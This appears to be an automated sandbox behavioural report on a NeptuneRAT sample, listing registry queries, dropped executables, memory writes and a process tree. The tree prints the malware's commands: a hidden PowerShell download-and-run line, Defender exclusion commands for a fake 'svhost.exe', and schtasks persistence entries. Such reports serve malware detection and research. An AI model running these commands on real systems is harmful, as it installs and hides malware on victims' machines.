neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000\Control Panel\International\Geo\Nation	svhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000\Control Panel\International\Geo\Nation	Bypassed.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000\Control Panel\International\Geo\Nation	cd62fbf3-d9bf-4c34-acda-bd70b904a406.exe

Executes dropped EXE 5 IoCs

pid	Process
3276	cd62fbf3-d9bf-4c34-acda-bd70b904a406.exe
2820	svhost.exe
1420	svhost.exe
1000	quhlhmpy.dct.exe
4200	svhost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\svhost.exe	cd62fbf3-d9bf-4c34-acda-bd70b904a406.exe
File opened for modification	C:\Windows\svhost.exe	cd62fbf3-d9bf-4c34-acda-bd70b904a406.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2716	cmd.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02sqhpexhmycqgjh\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001840198D974F69"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02adfkpdbiomhphc\Reason = "2147750679"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02sqhpexhmycqgjh	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02sqhpexhmycqgjh	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02sqhpexhmycqgjh"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02yqevqqfidfdthd	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02yqevqqfidfdthd\Provision Wednesday, August 05, 2026 01:21:34 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAv8GhmA4epkObsVl++Mi4twAAAAACAAAAAAAQZgAAAAEAACAAAADPuy0OE7HYzb43sNfjOSArdtzI3wWonfUwE/rBXzJ4RwAAAAAOgAAAAAIAACAAAAA0B6xtndok5jliJEK/h8SdazM8G9ZKdvxa8y6l5oiuViAAAAA+M57mJv5xi8lsNimaCEnnHbaATdI1YVcp66p0Zz+pJ0AAAAC1x806vTkQn6gLn2blF/zz5CZt0Ld42t77v0p43RoNtkwMOnUD26ZzzlChyH61Dhgf3bT6Vg/GOYy+CT09yvlB"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02sqhpexhmycqgjh\DeviceId = "<Data LastUpdatedTime=\"1785892896\"><User username=\"02SQHPEXHMYCQGJH\"/></Data>\r\n"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02sqhpexhmycqgjh\DeviceId = "<Data LastUpdatedTime=\"1785892896\"><User username=\"02SQHPEXHMYCQGJH\"><HardwareInfo BoundTime=\"1785892896\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02adfkpdbiomhphc\AppIdList	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02sqhpexhmycqgjh\Provision Wednesday, August 05, 2026 01:21:35 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAv8GhmA4epkObsVl++Mi4twAAAAACAAAAAAAQZgAAAAEAACAAAADFwbjwsin/1ThbAiYuZto+Qb/mjW1qddFv9eVurRg+EAAAAAAOgAAAAAIAACAAAABvu1GliDPWvKryn3bAOpWVEwcv0U3CwrMOaXR3Z+xecCAAAAB//gCy2fiyIEruXoMB28Dq/ariXtRzSe9nPO2ExeufOkAAAAD4AfHdRXZjlKKwDKQiZUHX5rlagSZvGHdB6Kl0RPz3FqpVy3mBNfNfogc3BXzATAvUUQYdHrZhoChibMNmN2N0"	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2628	SCHTASKS.exe
2032	SCHTASKS.exe
3868	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1920	powershell.exe
1920	powershell.exe
3668	powershell.exe
3668	powershell.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
652	powershell.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
652	powershell.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
652	powershell.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
652	powershell.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
1000	quhlhmpy.dct.exe
652	powershell.exe
1000	quhlhmpy.dct.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3364	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3276	cd62fbf3-d9bf-4c34-acda-bd70b904a406.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeIncreaseQuotaPrivilege	1920	powershell.exe
Token: SeSecurityPrivilege	1920	powershell.exe
Token: SeTakeOwnershipPrivilege	1920	powershell.exe
Token: SeLoadDriverPrivilege	1920	powershell.exe
Token: SeSystemProfilePrivilege	1920	powershell.exe
Token: SeSystemtimePrivilege	1920	powershell.exe
Token: SeProfSingleProcessPrivilege	1920	powershell.exe
Token: SeIncBasePriorityPrivilege	1920	powershell.exe
Token: SeCreatePagefilePrivilege	1920	powershell.exe
Token: SeBackupPrivilege	1920	powershell.exe
Token: SeRestorePrivilege	1920	powershell.exe
Token: SeShutdownPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeSystemEnvironmentPrivilege	1920	powershell.exe
Token: SeRemoteShutdownPrivilege	1920	powershell.exe
Token: SeUndockPrivilege	1920	powershell.exe
Token: SeManageVolumePrivilege	1920	powershell.exe
Token: 33	1920	powershell.exe
Token: 34	1920	powershell.exe
Token: 35	1920	powershell.exe
Token: 36	1920	powershell.exe
Token: SeDebugPrivilege	3668	powershell.exe
Token: SeIncreaseQuotaPrivilege	3668	powershell.exe
Token: SeSecurityPrivilege	3668	powershell.exe
Token: SeTakeOwnershipPrivilege	3668	powershell.exe
Token: SeLoadDriverPrivilege	3668	powershell.exe
Token: SeSystemProfilePrivilege	3668	powershell.exe
Token: SeSystemtimePrivilege	3668	powershell.exe
Token: SeProfSingleProcessPrivilege	3668	powershell.exe
Token: SeIncBasePriorityPrivilege	3668	powershell.exe
Token: SeCreatePagefilePrivilege	3668	powershell.exe
Token: SeBackupPrivilege	3668	powershell.exe
Token: SeRestorePrivilege	3668	powershell.exe
Token: SeShutdownPrivilege	3668	powershell.exe
Token: SeDebugPrivilege	3668	powershell.exe
Token: SeSystemEnvironmentPrivilege	3668	powershell.exe
Token: SeRemoteShutdownPrivilege	3668	powershell.exe
Token: SeUndockPrivilege	3668	powershell.exe
Token: SeManageVolumePrivilege	3668	powershell.exe
Token: 33	3668	powershell.exe
Token: 34	3668	powershell.exe
Token: 35	3668	powershell.exe
Token: 36	3668	powershell.exe
Token: SeDebugPrivilege	2820	svhost.exe
Token: SeDebugPrivilege	1420	svhost.exe
Token: SeDebugPrivilege	1420	svhost.exe
Token: SeDebugPrivilege	1000	quhlhmpy.dct.exe
Token: SeShutdownPrivilege	3364	Explorer.EXE
Token: SeCreatePagefilePrivilege	3364	Explorer.EXE
Token: SeShutdownPrivilege	3364	Explorer.EXE
Token: SeCreatePagefilePrivilege	3364	Explorer.EXE
Token: SeShutdownPrivilege	3364	Explorer.EXE
Token: SeCreatePagefilePrivilege	3364	Explorer.EXE
Token: SeShutdownPrivilege	3364	Explorer.EXE
Token: SeCreatePagefilePrivilege	3364	Explorer.EXE
Token: SeDebugPrivilege	652	powershell.exe
Token: SeShutdownPrivilege	3364	Explorer.EXE
Token: SeCreatePagefilePrivilege	3364	Explorer.EXE
Token: SeShutdownPrivilege	3364	Explorer.EXE
Token: SeCreatePagefilePrivilege	3364	Explorer.EXE
Token: SeShutdownPrivilege	3364	Explorer.EXE
Token: SeCreatePagefilePrivilege	3364	Explorer.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3224	Conhost.exe
4968	Conhost.exe
3116	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4496 wrote to memory of 3276	4496	Bypassed.exe	83
PID 3276 wrote to memory of 1920	3276	cd62fbf3-d9bf-4c34-acda-bd70b904a406.exe	84
PID 3276 wrote to memory of 3668	3276	cd62fbf3-d9bf-4c34-acda-bd70b904a406.exe	88
PID 1420 wrote to memory of 1000	1420	svhost.exe	93
PID 1420 wrote to memory of 2628	1420	svhost.exe	94
PID 1000 wrote to memory of 624	1000	quhlhmpy.dct.exe	5
PID 1000 wrote to memory of 688	1000	quhlhmpy.dct.exe	7
PID 1000 wrote to memory of 896	1000	quhlhmpy.dct.exe	11
PID 1000 wrote to memory of 320	1000	quhlhmpy.dct.exe	13
PID 1000 wrote to memory of 776	1000	quhlhmpy.dct.exe	14
PID 1000 wrote to memory of 1028	1000	quhlhmpy.dct.exe	15
PID 1000 wrote to memory of 1052	1000	quhlhmpy.dct.exe	16
PID 1000 wrote to memory of 1060	1000	quhlhmpy.dct.exe	17
PID 1000 wrote to memory of 1128	1000	quhlhmpy.dct.exe	18
PID 1000 wrote to memory of 1160	1000	quhlhmpy.dct.exe	19
PID 1000 wrote to memory of 1184	1000	quhlhmpy.dct.exe	20
PID 1000 wrote to memory of 1208	1000	quhlhmpy.dct.exe	21
PID 1000 wrote to memory of 1224	1000	quhlhmpy.dct.exe	22
PID 1000 wrote to memory of 1516	1000	quhlhmpy.dct.exe	24
PID 1000 wrote to memory of 1536	1000	quhlhmpy.dct.exe	25
PID 1000 wrote to memory of 1544	1000	quhlhmpy.dct.exe	26
PID 1000 wrote to memory of 1600	1000	quhlhmpy.dct.exe	27
PID 1000 wrote to memory of 1620	1000	quhlhmpy.dct.exe	28
PID 1000 wrote to memory of 1752	1000	quhlhmpy.dct.exe	29
PID 1000 wrote to memory of 1760	1000	quhlhmpy.dct.exe	30
PID 1000 wrote to memory of 1800	1000	quhlhmpy.dct.exe	31
PID 1000 wrote to memory of 1880	1000	quhlhmpy.dct.exe	32
PID 1000 wrote to memory of 1904	1000	quhlhmpy.dct.exe	33
PID 1000 wrote to memory of 2016	1000	quhlhmpy.dct.exe	34
PID 1000 wrote to memory of 2104	1000	quhlhmpy.dct.exe	35
PID 1000 wrote to memory of 2120	1000	quhlhmpy.dct.exe	36
PID 1000 wrote to memory of 2180	1000	quhlhmpy.dct.exe	37
PID 1000 wrote to memory of 2188	1000	quhlhmpy.dct.exe	38
PID 1000 wrote to memory of 2196	1000	quhlhmpy.dct.exe	39
PID 1000 wrote to memory of 2304	1000	quhlhmpy.dct.exe	40
PID 1000 wrote to memory of 2376	1000	quhlhmpy.dct.exe	41
PID 1000 wrote to memory of 2520	1000	quhlhmpy.dct.exe	43
PID 1000 wrote to memory of 2688	1000	quhlhmpy.dct.exe	44
PID 1000 wrote to memory of 2696	1000	quhlhmpy.dct.exe	45
PID 1000 wrote to memory of 2764	1000	quhlhmpy.dct.exe	46
PID 1000 wrote to memory of 2800	1000	quhlhmpy.dct.exe	47
PID 1000 wrote to memory of 2880	1000	quhlhmpy.dct.exe	48
PID 1000 wrote to memory of 2888	1000	quhlhmpy.dct.exe	49
PID 1000 wrote to memory of 2896	1000	quhlhmpy.dct.exe	50
PID 1000 wrote to memory of 2960	1000	quhlhmpy.dct.exe	52
PID 1000 wrote to memory of 3100	1000	quhlhmpy.dct.exe	53
PID 1000 wrote to memory of 3136	1000	quhlhmpy.dct.exe	54
PID 1000 wrote to memory of 3216	1000	quhlhmpy.dct.exe	55
PID 1000 wrote to memory of 3364	1000	quhlhmpy.dct.exe	56
PID 1000 wrote to memory of 3372	1000	quhlhmpy.dct.exe	57
PID 1000 wrote to memory of 3544	1000	quhlhmpy.dct.exe	58
PID 1000 wrote to memory of 3820	1000	quhlhmpy.dct.exe	60
PID 1000 wrote to memory of 4032	1000	quhlhmpy.dct.exe	62
PID 1000 wrote to memory of 1264	1000	quhlhmpy.dct.exe	63
PID 1000 wrote to memory of 4448	1000	quhlhmpy.dct.exe	66
PID 1000 wrote to memory of 1460	1000	quhlhmpy.dct.exe	68
PID 1000 wrote to memory of 4220	1000	quhlhmpy.dct.exe	69
PID 1000 wrote to memory of 1716	1000	quhlhmpy.dct.exe	70
PID 1000 wrote to memory of 4040	1000	quhlhmpy.dct.exe	71
PID 1000 wrote to memory of 4336	1000	quhlhmpy.dct.exe	72
PID 1000 wrote to memory of 3160	1000	quhlhmpy.dct.exe	73
PID 1000 wrote to memory of 3504	1000	quhlhmpy.dct.exe	74
PID 1000 wrote to memory of 5040	1000	quhlhmpy.dct.exe	75
PID 1000 wrote to memory of 1300	1000	quhlhmpy.dct.exe	76

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:624
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1184

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:688

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-9309dc24-8ce8-4132-a9e8-7e7564f34b40 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e1eca4b8-2036-40d6-8127-c0119cbd3e58 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-8fb64d60-0f8a-4e84-a69b-06f06e4ac0f1 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-efc8f1a1-f8ba-4a75-a6d4-81d68c4d7d54 -LifetimeId:6f55ae45-0252-4f92-9c3e-b9d7bbfed174 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:320

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1516
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3136
- C:\Windows\svhost.exe
  "C:\Windows\svhost.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Users\Admin\AppData\Local\Temp\quhlhmpy.dct.exe
    "C:\Users\Admin\AppData\Local\Temp\quhlhmpy.dct.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1000
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2628
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2032
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:652
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:3224
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3868
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:4968
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"
    3⤵
    PID:1632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1C0A.tmp.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1800
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2304

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3216

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3364
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Users\Admin\AppData\Local\Temp\cd62fbf3-d9bf-4c34-acda-bd70b904a406.exe
    "C:\Users\Admin\AppData\Local\Temp\cd62fbf3-d9bf-4c34-acda-bd70b904a406.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3544

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3820

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4032

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1264

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4220

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4040

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:3160

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:5040

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:1192

C:\Windows\system32\svchost.exe
